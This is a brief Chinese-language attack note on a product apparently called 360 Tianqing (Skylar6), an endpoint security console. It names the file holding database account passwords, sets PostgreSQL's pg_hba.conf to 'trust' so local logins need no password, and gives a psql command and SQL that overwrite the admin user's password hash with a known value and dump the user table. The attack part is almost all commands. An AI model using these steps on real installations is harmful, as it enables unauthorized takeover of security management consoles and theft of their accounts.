X擎

数据库账户密码都存储在：/www/config/user.php

Postgres SQL 获取控制台权限

本地连接需要修改配置：

```
C:\Program Files (x86)\360\skylar6\PGData\pg_hba.conf
```

```
# IPv6 local connections:
host    all             all             ::1/128                 trust
```

执行命令：

```
"C:\Program Files (x86)\360\skylar6\PostgreSQL\bin\psql.exe" -U postgres -p 5360 -d skylar -f 2.sql
```

SQL文件内容:

```
update public.user set passwd = '3359766d16fcbd330044a966b42307ac' where id = 1; # neotest123
```

```
select * from public.user;
```
